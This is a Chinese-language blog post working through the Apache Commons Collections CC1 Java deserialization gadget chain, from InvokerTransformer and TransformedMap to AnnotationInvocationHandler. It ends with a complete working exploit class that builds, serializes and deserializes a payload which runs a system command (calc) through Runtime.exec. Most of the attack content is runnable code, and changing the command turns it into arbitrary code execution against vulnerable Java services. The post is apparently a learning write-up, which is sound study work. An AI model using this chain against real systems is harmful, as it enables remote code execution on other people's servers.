侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

CC1

咿呀咿呀
2022-07-18 / 0 评论 / 1 点赞 / 158 阅读 / 8,564 字
温馨提示:
本文最后更新于 2022-07-18,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。
先弹一个计算器

image-20220701072842102

利用反射弹一个计算器

image-20220701073215999

InvokerTransformer 写法弹计算器

我们知道Cc1的问题出在

Transformer类,查看其实现类,找到InvokerTransformer

image-20220702103029810

InvokerTransformer 的构造函数

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

#三个参数:方法名、输入方法的参数、对象名

InvokerTransformertransfomer方法

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
            ### 可以看见这里使用反射调用任意类的方法、且类、方法、方法的参数可控(构造函数)
            ### 这就是问题所在
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

使用InvokerTransformer类调用计算器

Runtime r = Runtime.getRuntime();

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

image-20220701074322595

InvokerTransformertransform是危险函数,下面来找找,谁的类调用了transform函数。

TransfomedMap写法弹计算器

这里我们找到TransfomedMap类的checkSetValue方法

image-20220702104746223

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
输入一个value对象,然后对这个对象调用valueTransformer的transform方法。

这是个protected属性,不会被外部调用、肯定会被自己调用的,找到下面的静态方法,
    
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

#decorate这个静态方法只处理了valueTransformer,所以keyTransformer可以赋null。

再看看谁调用了checkSetValue方法

image-20220702105802377

AbstractInputCheckedMapDecorator类中的MapEntry静态类调用了checkSetVal方法

    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

MapEntry常用于遍历Map,所以可以通过遍历一个Map来触发MapEntry从而调用setValue方法—>>checkSetValue方法–>>transform方法

image-20220702111028257

AnnotationInvocationHandler写法弹计算器

现在找找谁调用了setValue方法

image-20220702161900369

这里在AnnotationInvocationHandler类中找到了符合要求的setValue方法

可以看见readObject方法中 在对Map做遍历时调用了setValue方法。刚好契合上面的要求。

看看AnnotationInvocationHandler的构造函数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
    
###参数一: Class泛形 Annotation 注解    参数二:一个Map

使用AnnotationInvocationHandler写法弹计算器

        Runtime r = Runtime.getRuntime();


       InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

       HashMap<Object,Object> map = new HashMap<>();
       map.put("key","yiya");
       Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

       Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class,Map.class);
       annotationInvocationConstructor.setAccessible(true);
       Object o = annotationInvocationConstructor.newInstance(Override.class,transformedMap);

但这里有三个小问题

  • 1.Runtime类不能被反序列化
        Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime",null);
        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");

transformer版本

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new  Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

ChainedTransformer改造

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new  Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
  • 2.setValue是要传的是Runtime对象,但 readObject方法中的setValue传的是AnnotationTypeMismatchExceptionProxy对象。

    即:checkSetValue(Object value) 这个value对象不可控

image-20220702190359375

调试:

image-20220702191024502

现在需要把value改成Runtime.Class才行。

这里就要用到ConstansTransformer类:输入什么就返回什么。

这个点虽然控制不了,但只要这里调用的是ConstansTransformer类的话,transform就可以接收到Runtime.Class

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),#### 增加的一行
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new  Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
  • 3.readObject方法中还需要满足俩个if条件

通过调试知道,选择Override注解时,if语句进不去

image-20220702172406455

由图知道434行 获取type的成员方法,而Override没有成员方法。Target注解有成员方法value,

image-20220702173010166

map.put("value","yiya"); ###这里也需要修改一下,因为Target注解有成员方法value,

再调试、可以看见进入了第一个if,这里第二个if判断能不能强转。这里是可以直接进入第二个if的。

image-20220702182505115

EXP
package Cc1.yiayiya.cn;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Cc1 {
    public static void main(String[] args) throws   Exception {
       // Runtime.getRuntime().exec("calc");
//        Runtime r = Runtime.getRuntime();

//        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new  Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new  Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
       // chainedTransformer.transform(Runtime.class);
//        valueTransformer.transform(value)
        
        //Class c = Runtime.class;
        //Method getRuntimeMethod = c.getMethod("getRuntime",null);
        //Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
       // Method execMethod = c.getMethod("exec", String.class);
        //execMethod.invoke(r,"calc");
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");

//       InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//
       HashMap<Object,Object> map = new HashMap<>();
       map.put("value","yiya");
       Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

//       for(Map.Entry entry:transformedMap.entrySet()){
//           entry.setValue(r);
//       }

       Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class,Map.class);
       annotationInvocationConstructor.setAccessible(true);
       Object o = annotationInvocationConstructor.newInstance(Target.class,transformedMap);

       serialize(o);
       unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }



}

image-20220702192138416

1

评论区